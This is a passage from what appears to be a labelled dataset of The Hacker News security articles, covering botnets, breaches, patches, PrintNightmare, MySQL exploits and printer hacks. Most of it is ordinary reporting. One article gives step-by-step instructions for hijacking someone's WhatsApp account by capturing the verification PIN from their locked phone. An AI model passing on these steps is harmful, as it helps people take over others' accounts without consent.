Figure 1: Cato claims to improve detection accuracy by working from raw network data and not just security logs, and then expanding context in three dimensions — client, target and time.


Client classification

It starts with client classification. When other security solutions inspect the source client with the flow, entities such as source IP, username, and device name are considered.

Usually, this information is used to distinguish different devices over the network, but it is rarely used in the actual decision making of whether the traffic is malicious or not.

Cato has expanded the client classification into a broader scheme, using elements such as whether HTTP or TLS is part of the main communications, the unique fingerprints of various browsers, and the types of libraries they use. These items provide much more detail, and by analyzing this data with machine learning, Cato can classify different clients on its network very accurately.

The target

The next context element that Cato uses is the target—the IP or domain address that a client is connecting to. The target is commonly part of the flow that's used in the decision-making process of whether something is malicious or not. Most security solutions simply compare the target against a list of security feeds.

Cato goes further by creating a ""popularity score"" to each target it sees. The score is calculated based on the number of times clients communicate with the targets. Scores of all targets are then bucketed, and typically the lowest scored targets are indicators of malicious or command and control websites.

Communication over time

Cato's last context parameter is time. Active malware keeps communicating over time; for example, to get commands from the C&C server, or to exfiltrate data. Time (repetitiveness) is often not considered by other security solutions, whereas Cato sees it as an important data element.

The more the external communication is repeated uniformly, the more likely it is a machine or bot that is generating this traffic, and thus more likely to be malicious traffic.

A real-life example
Figure 2: Here's one example of how Cato identified Conflicker on a customer's network. Note the use of client, target, and time throughout the process.
The following example is from a real Cato customer. There is a machine on the Cato Cloud network that tries to connect to about 150 domains where more than 90% of them are unresolved DNS requests. The domains themselves look like an algorithm generated them (see figure 2)

Looking back historically, analysts can see that this event occurs every three hours, indicating it's probably bot traffic. Some of the domains were resolved, after which there was an HTTP session which allows analysts to resolve the client.

Based on the client classification algorithms, this client is unknown to Cato across all the data the network provider has gotten. At this point, it's possible to conclude that an unknown bot is frequently communicating with a low popularity target website. Further analysis with the customer that owns the machine shows that it is infected with malware.

Cato was able to detect this threat automatically without any external feeds or IPS signatures. The discovery was purely a result of looking at network flows. No additional agents or hardware was necessary to collect the data, as it all came from flows normally traversing the Cato network.

The end customer didn't expend any effort to hunt this threat, other than looking at the machine that Cato identified as suspected of harboring malware. This is indeed a new paradigm for threat hunting.

",Cyber_Attack
Hijacking WhatsApp Account in Seconds Using This Simple Trick,https://thehackernews.com/2015/06/hijacking-whatsapp-account.html,"The hugely popular smartphone messaging service WhatsApp, acquired by Facebook for over $20 billion last year, has reportedly been found to be prone to hijacking without unlocking or knowing your device password, making its hundreds of Millions of users vulnerable to, not just hackers, but also non-technical people.

This trick lets anyone surrounds you to get effectively control over your WhatsApp account. The attacker needs nothing more than a phone number of the target person and access to the target mobile phone for a few seconds, even if it is locked.

Hacking Whatsapp account in such scenario is not hard for your friends and colleagues.

This is not actually a loophole or vulnerability in WhatsApp, and rather it is just the way WhatsApp is designed and its account setup mechanism works.

NOTE: Moreover, we aren't encouraging users to hack others WhatsApp account, but the purpose of publishing this article is to warn and remind our readers that you should be extra careful to whom you lend your mobile phone and not to leave it unattended for longer durations with strangers around.

The trick enables the offender to get full control over the victim's WhatsApp account in no time and the most surprising part is that it independently works on all mobile platforms, including Android, Windows and Apple's iOS.

Here's How to Hijack someone else's WhatsApp Account?

Below are the clear steps to hack the WhatsApp account on any Smartphones:
Begin by setting up a WhatsApp account on a new mobile phone using the phone number of your target.
During the setup process, WhatsApp will call the target's phone number and will provide a PIN that needs to be entered for the authentication of the account.
If you already have access to the victim's phone, you can just answer the phone call and grab the code with no efforts. Even if the victim has a lock screen enabled on the phone, you can receive the phone call to get the secret PIN.

Using this known and simple trick your colleagues can hijack your WhatsApp Account easily.

The worst case is with iPhones:

Things get even worse on iPhone if the users have configured their iPhones with Siri authentication for the lock screen, because all the contact details are available to access the Siri's settings, effectively giving everyone access to their phone number without the need for a PIN.

Thus, if you try to steal the account information of WhatsApp, without even having the phone number of the target user, you can just call your number from target's phone using Siri.

Just check the given video demonstration that explains the simple trick of taking control of anyone's WhatsApp account.

",Vulnerability
McAfee drafted Five Steps to Avoiding bad apps on Pc & Mobile,https://thehackernews.com/2011/12/mcafee-drafted-five-steps-to-avoiding.html,"McAfee drafted Five Steps to Avoiding bad apps on Pc & Mobile

Malicious applications are one of the most serious threats to smartphone users today. Not only can a dangerous app infect your phone and steal your personal information, it can even spy on you. Read our five easy tips for avoiding bad apps, and keep your device and information safe.

An Android developer recently discovered a clandestine application called Carrier IQ built into most smartphones that doesn't just track your location; it secretly records your keystrokes, and there's nothing you can do about it. In this digital age, privacy is more important than ever. Just because you ""don't have anything to hide,"" does not mean that you shouldn't value your privacy or fight for it when companies do things like this, especially with something as personal as your cell phone.

McAfee has come up with five ""Common sense"" practices that you might not have thought about before, but they actually do make sense for the most part.
Here's a look:
For the moment, the amount of detected smartphone malware is relatively low compared to malware that targets desktop or laptop PCs; but being aware that it exists is the first step toward protecting yourself and your data.
Research apps and their publishers thoroughly and check the ratings - better to install apps that are broadly used in the market and/or are recommended by your circle of friends and colleagues
It is wise to purchase from a well-known reputable app store market, such as the Android Market. One way for Android users to avoid installation of non-market applications is to de-select the ""Unknown sources"" option in the Applications Settings menu on their device. If the option is not listed, it means your mobile service provider has already done this for the user.
When you install an app, you'll see a list of permissions for services that are granted access to the hardware and software components on your device, like contacts, camera and location. If something in the permissions screen doesn't look right, don't install that app! For example, a game or alarm clock app probably shouldn't need to access your contacts or have the ability to transmit that data from your device.
Install antivirus software on your phone. It is a good idea to install an antivirus program when you get a new mobile device before you add any other apps.
This last one actually be the most crucial one that people are missing. McAfee argues now that because smartphone and tablet sales are eclipsing those of desktops and laptops, cyber crime is surging in the mobile sector.

",Malware
Firefox 31 — Mozilla Releases Security Updates to Tighten Browser Security,https://thehackernews.com/2014/07/firefox-31-mozilla-releases-security_22.html,"Mozilla has officially released its latest build Firefox 31 for all supported platforms, addressing 11 vulnerabilities in total, three of which are marked critical that could have been exploited by hackers to mount remote code execution attacks.

Mozilla Firefox recommends its users to install the security update as soon as possible, warning that the three critical vulnerabilities discovered in its browser could be exploited by attackers and leverage them to ""run attacker code and install software, requiring no user interaction beyond normal browsing"".

CRITICAL VULNERABILITIES
The three major vulnerabilities are as follows:
MFSA 2014-62 - This is one of the three critical vulnerabilities reported by Patrick Cozzi and get fixed in the newer version of the browser. The vulnerability allows the exploitation of a WebGL crash with Cesium JavaScript library. Much details about the flaw are not known at the time, but Mozilla notes that the flaw cannot be exploited through email in the Thunderbird client because scripting is disabled.
MFSA 2014-59 - The second critical flaw discovered in the browser, reported by Mozilla community member James Kitchener, refers to a use-after-free vulnerability when handling DirectWrite font. The vulnerability could be exploited by an attacker to crash Firefox due to an error in the way it handles font resources and tables, when rendering MathML content with specific fonts. However exploiting this flaw would be possible only on Windows platform, it does not affect OS X or Linux systems.
MFSA 2014-56 - This vulnerability refers to miscellaneous memory safety hazards, identified by Mozilla developers, that affected Mozilla version 30. Mozilla fixed several memory safety bugs in its browser engine used in Firefox and other Mozilla-based products in order to safeguard its customers.
""Some of these bugs showed evidence of memory corruption under certain circumstances, and we presume that with enough effort at least some of these could be exploited to run arbitrary code,"" Mozilla wrote.
OTHER SECURITY VULNERABILITIES
Mozilla also addresses two high rated vulnerabilities that cause a potential danger, as they could be used by an attacker to fetch users' personal and sensitive information from other websites they visit or inject malicious code into those websites to infect users.

Moreover, the security issues fixed in the latest revision of Firefox mostly refer to use-after-free vulnerabilities, in Web Audio, with the FireOnStateChange event and when manipulating certificates in the trusted cache.

Also, to provide more security to its customers, the company has announced a protection mechanism against malicious downloads in its latest build. The feature relies on the Safe Browsing API from Google and leverages application reputation information to detect malware in file downloads.

The protection mechanism consists in verifying the metadata, such as download URL, SHA-256 hash, details about the certificate, belonging to the item requested by the user, and comparing it to a given block list.

Based on a local list of files and remote one, the verification of the metadata is carried out. If a match is found the file is not saved to disk. On the other hand, when files are signed, they are matched from a given whitelist, and the binary is marked as trusted and as a result of it, the remote check is no longer performed.

Additionally, a new SSL/TLS certificate verification is now available on Firefox latest build 31 that uses a more powerful and easier to maintain ""mozilla::pkix"" library. No doubt this change would go unnoticed by the regular user, but it would protect its users from the compatibility issues arose for websites that do not use an authorized certificate accepted in the Mozilla CA Program.

Update your Mozilla Firefox and Thunderbird as soon as possible. Stay Safe! Stay Secure!

",Vulnerability
Microsoft's Emergency Patch Fails to Fully Fix PrintNightmare RCE Vulnerability,https://thehackernews.com/2021/07/microsofts-emergency-patch-fails-to.html,"Even as Microsoft expanded patches for the so-called PrintNightmare vulnerability for Windows 10 version 1607, Windows Server 2012, and Windows Server 2016, it has come to light that the fix for the remote code execution exploit in the Windows Print Spooler service can be bypassed in certain scenarios, effectively defeating the security protections and permitting attackers to run arbitrary code on infected systems.
On Tuesday, the Windows maker issued an emergency out-of-band update to address CVE-2021-34527 (CVSS score: 8.8) after the flaw was accidentally disclosed by researchers from Hong Kong-based cybersecurity firm Sangfor late last month, at which point it emerged that the issue was different from another bug — tracked as CVE-2021-1675 — that was patched by Microsoft on June 8.
""Several days ago, two security vulnerabilities were found in Microsoft Windows' existing printing mechanism,"" Yaniv Balmas, head of cyber research at Check Point, told The Hacker News. ""These vulnerabilities enable a malicious attacker to gain full control on all windows environments that enable printing.""
""These are mostly working stations but, at times, this relates to entire servers that are an integral part of very popular organizational networks. Microsoft classified these vulnerabilities as critical, but when they were published they were able to fix only one of them, leaving the door open for explorations of the second vulnerability,"" Balmas added.
PrintNightmare stems from bugs in the Windows Print Spooler service, which manages the printing process inside local networks. The main concern with the threat is that non-administrator users had the ability to load their own printer drivers. This has now been rectified.
""After installing this [update] and later Windows updates, users who are not administrators can only install signed print drivers to a print server,"" Microsoft said, detailing the improvements made to mitigate the risks associated with the flaw. ""Administrator credentials will be required to install unsigned printer drivers on a printer server going forward.""
Post the update's release, CERT/CC vulnerability analyst Will Dormann cautioned that the patch ""only appears to address the Remote Code Execution (RCE via SMB and RPC) variants of the PrintNightmare, and not the Local Privilege Escalation (LPE) variant,"" thereby allowing attackers to abuse the latter to gain SYSTEM privileges on vulnerable systems.
Now, further testing of the update has revealed that exploits targeting the flaw could bypass the remediations entirely to gain both local privilege escalation and remote code execution. To achieve this, however, a Windows policy called 'Point and Print Restrictions' must be enabled (Computer Configuration\Policies\Administrative Templates\Printers: Point and Print Restrictions), using which malicious printer drivers could be potentially installed.
""Note that the Microsoft update for CVE-2021-34527 does not effectively prevent exploitation of systems where the Point and Print NoWarningNoElevationOnInstall is set to 1,"" Dormann said Wednesday. Microsoft, for its part, explains in its advisory that ""Point and Print is not directly related to this vulnerability, but the technology weakens the local security posture in such a way that exploitation will be possible.""
While Microsoft has recommended the nuclear option of stopping and disabling the Print Spooler service, an alternative workaround is to enable security prompts for Point and Print, and limit printer driver installation privileges to administrators alone by configuring the ""RestrictDriverInstallationToAdministrators"" registry value to prevent regular users from installing printer drivers on a print server.
UPDATE: In response to CERT/CC's report, Microsoft said on Thursday:
""Our investigation has shown that the OOB [out-of-band] security update is working as designed and is effective against the known printer spooling exploits and other public reports collectively being referred to as PrintNightmare. All reports we have investigated have relied on the changing of default registry setting related to Point and Print to an insecure configuration.""

",Vulnerability
"324,000 Financial Records with CVV Numbers Stolen From A Payment Gateway",https://thehackernews.com/2016/09/bluesnap-payment-gateway-hack.html,"Around 324,000 users have likely had their payment records stolen either from payment processor BlueSnap or its customer Regpack; however, neither of the company has admitted a data breach.

BlueSnap is a payment provider which allows websites to take payments from customers by offering merchant facilities, whereas RegPack is a global online enrollment platform that uses BlueSnap to process the financial transactions for its online enrollments.

The data breach was initially reported on July 10, when a hacker published a link on Twitter, pointing to a file containing roughly 324,000 records allegedly stolen from Waltham, Massachusetts-based BlueSnap.

The tweet has since been deleted, but Australian security expert Troy Hunt took a copy of it for later review to analyze the data and after analyzing, he discovered that the leaked payment records are most likely legitimate.

Payment Card Data Including CVV Codes Leaked

The data contains users' details registred between 10 March 2014 to 20 May 2016 and includes names, email addresses, physical addresses, phone numbers, IP addresses, last four digits of credit card numbers, even CVV codes, and invoice data containing details of purchases.

According to Hunt, who owns 'Have I Been Pwned' breach notification service, some evidence like file names containing 'BlueSnap' and 'Plimus' in it suggests that the data comes from BlueSnap.

Plimus is the original name of BlueSnap, which was rebranded after private equity firm Great Hill Partners acquired it for $115Million in 2011.

However, since April 2013, Regpack has been using BlueSnap's payment platform, it could be possible that the stolen data has come from Regpack.
""We have got 899 totally separate consumers of the Regpack service...who send their data direct to Regpack who pass payment data onto BlueSnap for processing,"" Hunt explained in a blog post.
""Unless I am missing a fundamental piece of the workflow... it looks like accountability almost certainly lies with one of these two parties.""
Whatever the source is, but the primary concern here is that more than 320,000 stolen users financial information is floating around the web.

Although the payment data does not contain full credit card numbers, as Hunt stressed, cyber criminals can still misuse the compromised information, particularly the CVV codes that are highly valuable payment data, which can be used to conduct ""card not present"" transactions.

Also, the last four digit of any user's credit card number can also be used for identity verification that's very useful in conducting social engineering attacks.

Hunt contacted BlueSnap as well as Regpack, but they both denied suffering a data breach. He has also loaded as many as 105,000 email addresses into Have I Been Pwned, so you can search for your address on the site to check whether you are impacted by the breach.

",Data_Breaches
British Hacker Admits Using Mirai Botnet to DDoS Deutsche Telekom,https://thehackernews.com/2017/07/mirai-botnet-ddos.html,"An unnamed 29-year-old man, named by authorities as ""Daniel K.,"" pleaded guilty in a German court on Friday to charges related to the hijacking of more than one Million Deutsche Telekom routers.

According to reports in the German press, the British man, who was using online monikers ""Peter Parker"" and ""Spiderman,"" linked to domains used to launch cyber attacks powered by the notorious Mirai malware has been pleaded guilty to ""attempted computer sabotage.""

The suspect was arrested on 22nd February this year at Luton airport in London by Britain's National Crime Agency (NCA) at the request of the Federal Criminal Police Office of Germany, aka the Bundeskriminalamt (BKA).

The hacker, also known as 'BestBuy,' admitted to the court on Friday that he was behind the cyber attack that knocked more than 1.25 Million customers of German telecommunications provider Deutsche Telekom offline last November.

According to the German authorities, the attack was especially severe and was carried out to compromise the home routers to enrol them in a network of hijacked devices popularly called Botnet, which is being offered for sale on dark web markets for launching DDoS attacks.

Late last year, Deutsche Telekom's routers became infected with a modified version of the Mirai malware – infamous IoT malware which scans for insecure routers, cameras, DVRs, and other IoT devices and enslaves them into a botnet network – causing over a million pounds' worth of damage, the company said at the time.

Mirai is the same botnet that knocked the entire Internet offline last year by launching massive distributed denial of Service (DDoS) attacks against the Dyn DNS provider, crippling some of the world's biggest and most popular websites, including Twitter, Netflix, Amazon, Slack, and Spotify.

Mirai leveraged attack experienced sudden rise after a cyber criminal in October 2016 publicly released the source code of Mirai, which is then used to by many cyber criminals to launch DDoS attacks.

The hacker reportedly told the court that a Liberian internet service provider (ISP) paid him $10,000 to carry out the attack against its competitors., and that Deutsche Telekom was not the main target of his attack.

At the time of his arrest, the suspect faced up to 10 years in prison. He's due to be sentenced on July 28.

The BKA got involved in the investigation as the attack on Deutsche Telekom was deemed to be a threat to the nation's communication infrastructure.

The investigation involved close cooperation between British, German and Cypriot law enforcement agencies, backed by the European Union's law enforcement intelligence agency, Europol, and Eurojust.

",Malware
U.S. Takes Down Kelihos Botnet After Its Russian Operator Arrested in Spain,https://thehackernews.com/2017/04/kelihos-botnet-russian-hacker.html,"A Russian computer hacker arrested over the weekend in Barcelona was apparently detained for his role in a massive computer botnet, and not for last year's US presidential election hack as reported by the Russian media.

Peter Yuryevich Levashov, 32-years-old Russian computer programmer, suspected of operating the Kelihos botnet — a global network of over 100,000 infected computers that was used to deliver spam, steal login passwords, and infect computers with ransomware and other types of malware since approximately 2010, the U.S. Justice Department announced Monday.

As suspected earlier, Levashov, also known as Peter Severa, is the same man who has also been listed in the World's Top 10 Worst Spammers maintained by anti-spam group Spamhaus, which has given him the 7th position in the list.

The arrest was made possible after the FBI learned just last month that Levashov was traveling with his family to Spain from his home in Russia, a country without any extradition treaty to the United States.

Initially, it was believed that Levashov was detained on suspicion of 2016 US election hack, after his wife told Russian publication RT that authorities said her husband's apprehension was in part due to his involvement in the U.S. election hacking, including the notorious breach of the Democratic National Committee (DNC).

However, the DoJ press release indicates no link between Levashov and US election hack at all.

Instead, Levashov was linked to the Kelihos botnet by the FBI because he used the same IP address to operate the botnet that he used to access his email and other online accounts in his name, including Apple iCloud and Google Gmail accounts.

According to the indictment unsealed Monday, Levashov operated the botnet since 2010, targeting Microsoft Windows machines for infection. He allegedly used Kelihos to distribute hundreds of millions of spam emails per year, and pump-and-dump stock scams.

Besides conducting spamming operations, prosecutors also alleged Levashov also used the Kelihos botnet to infect end-user computers with malware and harvest passwords to online and bank accounts belonging to thousands of Americans.
""The ability of botnets like Kelihos to be weaponized quickly for vast and varied types of harms is a dangerous and deep threat to all Americans, driving at the core of how we communicate, network, earn a living, and live our everyday lives,"" said Acting Assistant Attorney General Blanco.

""Our success in disrupting the Kelihos botnet was the result of strong cooperation between private industry experts and law enforcement, and the use of innovative legal and technical tactics.""
The FBI officials obtained court orders (Rule 41 of the Federal Rules of Criminal Procedure) to redirect Kelihos-infected PCs to servers operated by authorities — a process known as ""Sinkhole attack"" — and to block any attempts by the botnet to regain control of those sinkholed computers.

The FBI said it worked with security firm CrowdStrike and Shadowserver Foundation, a volunteer group of information security experts, to deploy the sinkhole attack to disconnect communications between criminals and infected computers.

Levashov has been charged with wire fraud and unauthorized interception of electronic communications. The government is now seeking his extradition to the United States.

",Cyber_Attack
McAfee will prevent vehicles from becoming vulnerable to Car Virus,https://thehackernews.com/2012/08/mcafee-will-prevent-vehicles-from.html,"Vehicles are becoming more and more reliant on computers for efficiency, safety systems, and infotainment systems. Most vehicles on the market today use throttle-by-wire systems, where the onboard computer controls the throttle of the vehicle. Toyota has had problems in the past with so-called unintended acceleration, with many pointing fingers at the electronic systems in the car.

Intel's McAfee unit, which is best known for software that fights PC viruses, is one of a handful of firms that are looking to protect the dozens of tiny computers and electronic communications systems that are built into every modern car. McAfee, makers of the popular anti-virus software, are just one of the teams looking to protect automobiles from many bugs and viruses which could wreak havoc on the tiny computers inside modern cars.

""You can definitely kill people"", said John Bumgarner, chief technology officer of the U.S. Cyber Consequences Unit, a non-profit organization that helps companies analyze the potential for targeted computer attacks on their networks and products. ""Ford is taking the threat very seriously and investing in security solutions that are built into the product from the outset,"" he said.

To date, however, there have been no severe attacks on vehicles through viruses.But Studies have already proven that it is technically possible to hack into a car's on-board warning systems and alter its tire pressure, as well as prevent it from using its brakes.

",Malware
This String of 13 Characters Can Crash your Chrome on a Mac,https://thehackernews.com/2015/03/chrome-crash-vulnerability.html,"If you're currently on a Mac computer and using a Chrome browser then a weird little Apple's OS X quirk, just a special thirteen-characters string could cause your tab in Chrome to crash instantly.

A string of 13 characters (appear to be in Assyrian), shown below in an image, is all needed to crash any tab in Chrome for OS X, however, this text has no impact on Windows, Android, or iOS operating systems.

This Chrome crash vulnerability has already been reported by an open-source project Chromium project, which means that Google is likely aware of this troublesome issue.
What steps will reproduce the problem?
Any page with [that special character] will crash the chrome tab on a Mac.
Just create any dummy page with the unicode characters, and the Mac Chrome tab will crash hard.
What is the expected result?
Expect it not to crash
What happens instead?
It crashes
Warning: Do not click on this link, which actually points to the bug report on the Chromium product describing the issue, if your are using Chrome on a Mac.

If you'll click, it will immediately cause the Chrome tab to crash in which the link opens. Emil Protalinski of VentureBeat says even the tab showing the news article also crashes for some readers.
13 characters crash exploit code
The issue appears to be small but is really serious, as it is possible for anyone to tweet out the text in question, and crash all Chrome for Mac users whose Twitter timeline will load those characters.

The developer who discovered this bug gives two different scenarios in which this bug could be abused. ""This is pretty serious. You could imagine someone spamming this message in Hangouts/Gmail and just straight-up force crashing all Mac Chrome browsers,"" the developer said.

Furthermore, someone could post this 13-characters string on Facebook walls or timelines, and force-crash all Mac Chrome browsers that will saw the characters in question.

VentureBeat notes that the Chrome crash doesn't happen every time, in some cases, when Chrome renders text differently, Mac users see 13 blank rectangles (▯▯▯▯▯ ▯▯▯ ▯▯▯▯▯) instead of the crash, though they never see the proper characters.

It's currently not known why this character causes tab on Chrome to crash while page rendering, but we'll recommend you to do not use theses characters while Tweeting or dropping them in the comments or emailing them to the entire company or posting them to Facebook or as a headline of your blog post.

If you are curious just how often and why your Chrome is crashing, you can type chrome://crashes into your location bar and press Enter to view the list of crashes.

",Vulnerability
Google Adds New Behavior-Based Malware Scanner To Every Android Device,https://thehackernews.com/2017/05/google-play-protect-android.html,"In order to keep its billions of users safe, Google has introduced another security defense for its Android devices, called Google Play Protect.

Google Play Protect, which is part of the Google Play Store app, uses machine learning and app usage analysis to weed out the dangerous and malicious apps, which have always been albatross around the tech giant's neck.

Since Google Play Protect actually comes with the Google Play Store, users do not need to install or activate this security feature separately.

Google Play Protect for Android devices consists:

App scanning
Anti-Theft Measures
Browser Protection

Play Protect's App Scanning Feature

Google Play Protect is an always-on service on devices which said to scan 50 billion apps each day across a billion Android devices to ensure they are safe.

Google already has a number of security measures in place to help keep your smartphones safe, including Verify Apps and its Bouncer service, but once apps are uploaded to the Play Store and installed on your device, Google does not have anything in place to monitor the behavior of those apps – something that most malware apps were abusing.

Running automatically in the background, Google Play Protect is actually built into devices, which will not only analyse apps before appearing on the Play Store, but also monitor them once installed on the device, including apps that have been installed from third-party stores as well.

For this, Google makes use of machine learning algorithms that automatically compares app behavior and distinguishes those acting abnormally, and if encounters any malicious app, it warns you or even disables the app to prevent further harm.

Google says it works around the clock to keep up with the latest threats

Google says the new machine learning system regularly updates to help Android ecosystem stay one step ahead of any potential threats by always looking out for ""new risks, identifying potentially harmful apps and keeping them off your device or removing them.""

Play Protect's Anti-Theft Measures

With the introduction of Google Play Protect, Android Device Manager has been replaced with Find My Device, use to locate lost and misplaced devices.

You can use the browser or any other device to remotely call, locate, and lock, your Android device or even erase the data to protect sensitive information remotely.

Find My Device is the same old solution, but Google included it into the Google Play Protect program.

Play Protect's Browser Protection

With Safe Browsing feature in Chrome, Play Protect lets users stay safe while browsing the Internet.

Usually, virus, malware and worm land on to your smartphones and computers via malicious web browsers. So, if you visit any website that is acting suspicious, Safe Browsing feature will warn you and block websites that feel sketchy or seems to be unsafe for you.

Google Play Protect service will be rolling out to Android devices over the coming weeks.

",Malware
Necro Python Malware Upgrades With New Exploits and Crypto Mining Capabilities,https://thehackernews.com/2021/06/necro-python-malware-upgrades-with-new.html,"New upgrades have been made to a Python-based ""self-replicating, polymorphic bot"" called Necro in what's seen as an attempt to improve its chances of infecting vulnerable systems and evading detection.
""Although the bot was originally discovered earlier this year, the latest activity shows numerous changes to the bot, ranging from different command-and-control (C2) communications and the addition of new exploits for spreading, most notably vulnerabilities in VMWare vSphere, SCO OpenServer, Vesta Control Panel and SMB-based exploits that were not present in the earlier iterations of the code,"" researchers from Cisco Talos said in a deep-dive published today.
Said to be in development as far back as 2015, Necro (aka N3Cr0m0rPh) targets both Linux and Windows devices, with heightened activity observed at the start of the year as part of a malware campaign dubbed ""FreakOut"" that was found exploiting vulnerabilities in network-attached storage (NAS) devices running on Linux machines to co-opt the machines into a botnet for launching distributed denial-of-service (DDoS) attacks and mining Monero cryptocurrency.
In addition to its DDoS and RAT-like functionalities to download and launch additional payloads, Necro is designed with stealth in mind by installing a rootkit that hides its presence on the system. What's more, the bot also injects malicious code to retrieve and execute a JavaScript-based miner from a remote server into HTML and PHP files on infected systems.
While previous versions of the malware exploited flaws in Liferay Portal, Laminas Project, and TerraMaster, the latest variants observed on May 11 and 18 feature command injection exploits targeting Vesta Control Panel, ZeroShell 3.9.0, SCO OpenServer 5.0.7, as well as a remote code execution flaw impacting VMWare vCenter (CVE-2021-21972) that was patched by the company in February.
A version of the botnet, released on May 18, also includes exploits for EternalBlue (CVE-2017-0144) and EternalRomance (CVE-2017-0145), both of which abuse a remote code execution vulnerability in Windows SMB protocol. These new additions serve to highlight that the malware author is actively developing new methods of spreading by taking advantage of publicly disclosed vulnerabilities.
Also of note is the incorporation of a polymorphic engine to mutate its source code with every iteration while keeping the original algorithm intact in a ""rudimentary"" attempt to limit the chances of being detected.
""Necro Python bot shows an actor that follows the latest development in remote command execution exploits on various web applications and includes the new exploits into the bot,"" Talos researchers said. ""This increases its chances of spreading and infecting systems. Users need to make sure to regularly apply the latest security updates to all of the applications, not just operating systems.""

",Cyber_Attack
Critical Flaws in MySQL Give Hackers Root Access to Server (Exploits Released),https://thehackernews.com/2016/11/mysql-zero-day-exploits.html,"Over a month ago we reported about two critical zero-day vulnerabilities in the world's 2nd most popular database management software MySQL:
MySQL Remote Root Code Execution (CVE-2016-6662)
Privilege Escalation (CVE-2016-6663)
At that time, Polish security researcher Dawid Golunski of Legal Hackers who discovered these vulnerabilities published technical details and proof-of-concept exploit code for the first bug only and promised to release details of the second bug (CVE-2016-6663) later.

On Tuesday, Golunski has released proof-of-concept (POC) exploits for two vulnerabilities:

One is the previously promised critical privilege escalation vulnerability (CVE-2016-6663), and another is a new root privilege escalation bug (CVE-2016-6664) that could allow an attacker to take full control over the database.

Both the vulnerabilities affect MySQL version 5.5.51 and earlier, MySQL version 5.6.32 and earlier, and MySQL version 5.7.14 and earlier, as well as MySQL forks — Percona Server and MariaDB.

Privilege Escalation/Race Condition Bug (CVE-2016-6663)
The more severe of the two is the race condition bug (CVE-2016-6663) that can allow a low-privileged account (with CREATE/INSERT/SELECT grants) with access to the affected database to escalate their privileges and execute arbitrary code as the database system user (i.e. 'mysql').

Once exploited, an attacker could successfully gain access to all databases within the affected database server.

Root Privilege Escalation (CVE-2016-6664)

Another critical flaw in MySQL database is a root privilege escalation bug that could allow attackers with 'MySQL system user' privilege to further escalate their privileges to root user, allowing them to fully compromise the system.

The issue actually stems from unsafe file handling of error logs and other files, which comes under MySQL system user privileges, allowing it to be replaced with an arbitrary system file, which opens the door to root privileges.

What's more troublesome? An attacker with a low-privileged account can also achieve root privilege by first exploiting the Privilege Escalation flaw (CVE-2016-6663) to become 'MySQL system user' and thus allow attackers to fully compromise the targeted server.

All these vulnerabilities could be exploited in shared hosting environments where users are assigned access to separate databases. By exploiting the flaws, they could gain access to all databases.

Golunski has published the proof-of-concept exploit code (Exploit 1, Exploit 2) for both the flaws and will soon upload videos.

MySQL has fixed the vulnerabilities and all of the patches ultimately found their way into Oracle's quarterly Critical Patch Update last month.

Administrators are strongly advised to apply patches as soon as possible in order to avoid hackers seeking to exploit the vulnerabilities.

If you are unable to immediately apply patches, then as a temporary mitigation you can also disable symbolic link support within your database server configuration to this setting — my.cnf to symbolic-links = 0 — in an attempt to protect yourself against cyber attacks.

",Vulnerability
Android Passwords are stored in plain text on Disk,https://thehackernews.com/2011/07/android-passwords-are-stored-in-plain.html,"Android Passwords are stored in plain text on Disk
A Android user complain that , All passwords are stored in plane text on Disk via a message on discussion board of Android.


He said ""The password for email accounts is stored into the SQLite DB which in turn stores it on the phone's file system in plain text.Encrypting or at least transforming the password would be desirable.""

On this Android Support ""Andy Stadler"" Reply that :
Hello-


Thanks for the information and the feedback on this concern.


First, I would like to reiterate the notes made by a couple of you, which is to remind users that if you are concerned about this issue, *please* simply click the star. Every time you respond ""please fix"" or ""should be fixed!"" it sends email to over 200 people.


Second, please know that we take information security very seriously, and this is baked into the Android platform at multiple levels.


Now, with respect to this particular concern. The first thing to clarify is that the Email app supports four protocols - POP3, IMAP, SMTP, and Exchange ActiveSync - and with very few, very limited exceptions, all of these are older protocols which require that the client present the password to the server on every connection. These protocols require us to retain the password for as long as you wish to use the account on the device. Newer protocols don't do this - this is why some of the articles have been contrasting with Gmail, for example. Newer protocols allow the client to use the password one time to generate a token, save the token, and discard the password.


I urge you to review the article linked to in comment #38, which is well-written and quite informative. It provides some very good background on the difference between ""obscuring"" passwords, and making them truly ""secure"". Simply obscuring your password (e.g. base64) or encrypting it with a key stored elsewhere will *not* make your password or your data more secure. An attacker will still be able to retrieve it.


(In particular, some claims have been made about some of the other email clients not storing the password in cleartext. Even where this is true, it does not indicate that the password is more secure. A simple test: if you can boot up the device and it will begin receiving email on your configured accounts, then the passwords are not truly secure. They are either obfuscated, or encrypted with another key stored somewhere else.)


To the author of comment #44: If you can obtain *any* data from files in /data/data/* on a non-rooted device, this is a security problem in the device, not a bug in the Email program. I urge you to contact our security team and provide more information (details here: https://developer.android.com/guide/appendix/faq/security.html)


Having said all this - rest assured, I am not closing this bug. We recognize that this is causing concern for some users, and we're going to look at identifying steps that can make your data more secure.


Andy Stadler
stadler@android.com


Every User Request to Fix this Problem as soon as Possible. We hope via this article of THN , other Security experts will also share their review and solutions with Us and Google :)

",Vulnerability
Print of one malicious document can expose your whole LAN,https://thehackernews.com/2012/01/print-of-one-malicious-document-can.html,"Print of one malicious document can expose your whole LAN

This year at Chaos Communications Congress (28C3) Ang Cui presents Print Me If You Dare, in which he explained how he reverse-engineered the firmware-update process for HPs hundreds of millions of printers and In Andrei Costin's presentation ""Hacking MFPs"" he covered the history of printer and copier hacks from the 1960s to today.



Cui discovered that he could load arbitrary software into any printer by embedding it in a malicious document or by connecting to the printer online. As part of his presentation, he performed two demonstrations: in the first, he sent a document to a printer that contained a malicious version of the OS that caused it to copy the documents it printed and post them to an IP address on the Internet; in the second, he took over a remote printer with a malicious document, caused that printer to scan the LAN for vulnerable PCs, compromise a PC, and turn it into a proxy that gave him access through the firewall.

Costin found a method to exploit the firmware update capability of certain Xerox MFPs to upload his crafted PostScript code. He was able to run code to dump memory from the printer. This could allow an attacker to grab passwords for the administration interface or access or print PIN-protected documents.

MFPs are trusted devices connected to the office network, but sometimes they're also accessible from the Internet. The numbers of publicly accessible office MFPs range in the tens of thousands. An attacker could craft PostScript code tied with exploits from the Metasploit framework and upload it to an MFP to attack a corporate network.

